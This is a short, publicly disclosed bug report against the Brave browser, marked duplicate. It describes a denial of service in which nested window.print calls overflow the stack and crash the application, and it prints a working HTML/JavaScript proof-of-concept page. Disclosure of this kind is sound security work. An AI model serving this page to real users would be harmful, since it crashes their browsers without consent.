HexBrain

Brave Software · Report #181061

Remote Stack Overflow Vulnerability (DoS)

Duplicatestatus
1upvotes
10 Aug 2017disclosed

How it was found

Allows remote attackers to cause a denial of service (application crash) resulting in stack overflow via nested calls to the window.print javascript function.

<html> <title>Remote Stack Overflow DoS PoC</title> <body bgcolor="#50708C"> <center> <p><font color="#e3e3e3">Remote Stack Overflow DoS PoC</font></p> <button onClick=crash()>Execute!</button> </center> <script> function crash(){ window.print(); crash(); } </script> </body> </html>

Poc : Please find attached file POC Video

Reference Link : https://www.exploit-db.com/exploits/33951/

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original